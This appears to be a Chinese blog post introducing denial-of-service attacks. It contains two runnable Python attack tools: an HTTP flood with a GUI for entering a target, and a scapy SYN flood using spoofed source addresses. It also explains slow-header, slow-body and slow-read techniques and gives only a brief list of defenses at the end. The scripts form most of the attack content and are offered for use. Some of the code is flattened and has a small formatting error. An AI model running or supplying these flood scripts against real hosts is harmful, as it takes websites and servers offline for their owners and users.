DOS攻击(一)

介绍

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

python实现HTTP Flood

这里目标页面如果不填写默认为网站根目录, 攻击线程数并不是越多越好,线程数是访问一个socket队列获取已连接的socket然后进行dos攻击。因为python中队列取值早就封装了锁,如果线程过多就会频繁加解锁这就给了服务器喘息的机会。

点击stop中断dos攻击

import queue
import socket
import easygui
import threading def consumer(q):
while True:
try:
s = q.get()
s.send(bytes("dos", 'utf8'))
print("[+] send OK!\n")
q.put(s)
except Exception as error:
print("[-] send Exception\n")
s.close() def producer(q, host, port, request_packet):
for i in range(10000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
s.send(request_packet.encode("utf-8"))
print("[+] Send buf OK!\n")
q.put(s)
except Exception as error:
print("[-] Could not connect\n")
s.close() def main():
message = 'DOS攻击参数'
title = 'hello DOS'
attack_parameters = ['目标ip或域名', '目标端口', '攻击的目标页面', '线程数']
host, port, page, thread_num = easygui.multenterbox(message, title, attack_parameters,
values=['', 80, '', 5])
port, thread_num = int(port), int(thread_num)
q = queue.Queue()
if page is None:
page = '/' request_packet = (f"POST {page} HTTP/1.1\r\n"
"Host: {host}}\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dos=9527\r\n"
"\r\n") threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
threading.Thread(target=producer, args=(q, host, port, request_packet), daemon=True).start()
for i in range(thread_num):
threading.Thread(target=consumer, args=(q,), daemon=True).start() easygui.indexbox(title='DOS', msg='Ongoing attack', choices=['Stop']) if __name__ == '__main__':
main()

apache配置如下

开启攻击后网站直接无法访问

python 实现SYN Flood

from scapy.all import *

from scapy.layers.inet import IP, TCP

def syn_flood(target_ip, target_port):
while True:
# 随机的源IP
tmp = random.randint(10, 200)
src = f'{tmp}.{tmp + 1}.{tmp + 1}.{tmp - 1}'
IPlayer = IP(src=src, dst=target_ip)
TCPlayer = TCP(sport=4444, dport=target_port, flags="S")
packet = IPlayer / TCPlayer
send(packet) def main():
for i in range(thread_num):
threading.Thread(target=syn_flood, args=(target_ip, target_port), daemon=True).start()
time.sleep(attack_time) if __name__ == '__main__':
target_ip = '192.168.9.133'
target_port = 80
thread_num = 5
attack_time = 20
main()

上面是无法访问网站 下面这种synflood直接会让系统无法响应

源ip为随机ip 源端口也可以变成随机端口,右侧清一色的SYN请求

其他dos攻击

低速拒绝服务攻击(Low-rate Denial-of-Service attacks)

下面是正常get请求格式(纯手敲可能不规范)

GET或POST 路径 HTTP/1.1\r\n
Host:ip或域名\r\n
......
Connect:Keep-alive\r\n
\r\n
  • Slow headers

    Connection: keep-alive ,但是保证http请求不以\r\n结尾。这样服务器会以为请求头并没有结束,然后每隔一段时间发送一个包每隔一段时间发送一个包,慢慢的让服务器陪着我们耗着。这一直未发送结束的HTTP包会一直占用服务端的资源。

  • Slow body

    Content-length:10000000 请求体很长 一次发一点,耗服务器资源

  • Slow read

    调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送

还有ping泛洪(ping-Flood),UDP泛洪(UDP-Flood),分片炸弹(fragmentation bombs),缓冲区溢出(buffer overflow)和ICMP路由重定向炸弹(ICMP routeing redirect bomb)等等

DODS只是放大版的DOS ,由单个计算机攻击变成了成批计算机一起进行攻击

防御方式

  1. 分布式集群硬抗
  2. DDOS防火墙异常流量清洗
  3. 将非必要的网页做成静态网页
  4. 加CDN中转
  5. web服务器对应配置
  6. echo 1 > /proc/sys/net/ipv4/tcp_syncookies 能显著的延缓SYN泛洪造成的网络资源缺失现象

最新文章

  1. [LeetCode] Valid Palindrome 验证回文字符串
  2. swiper的使用
  3. hdu Wooden Sticks
  4. ppurl
  5. Flex 使用列表和表格
  6. [python]使用pexpect模块进行批量scp
  7. ExecutorService介绍
  8. ES 6 : Math对象的扩展
  9. eclipse 安卓运行一直跳转到调试模式
  10. 收集了一些容易出错的题,可能大家也不会注意到的基础知识(js)
  11. 前端开发【第二篇: css】
  12. 数据库查询的数据导出到xls表,集合数据导出到xls表
  13. 一道题引发的self和super
  14. Asp.Net_Mvc3.5语法_<%%>的用法
  15. OSX: SSH密钥使用日记(2)
  16. 大数据学习--day13(字符串String--源码分析--JVM内存分析)
  17. python 中的list&tuple
  18. Android显示全局Dialog
  19. Mac os JAVA 开发环境配置简述
  20. JVM垃圾收集规则和算法

热门文章

  1. 常用正则表达式与python中的re模块
  2. 实现一个cache
  3. 痞子衡嵌入式:IAR内部C-SPY调试组件配套宏文件(.mac)用法介绍
  4. K8S原来如此简单(八)ServiceAccount+RBAC
  5. Python的安装与开发环境的选用
  6. 什么是Spring Cloud Bus?
  7. 在 mapper 中如何传递多个参数?
  8. 转载:STL常用容器的底层数据结构实现
  9. Django中的信号signals
  10. 学习openstack(四)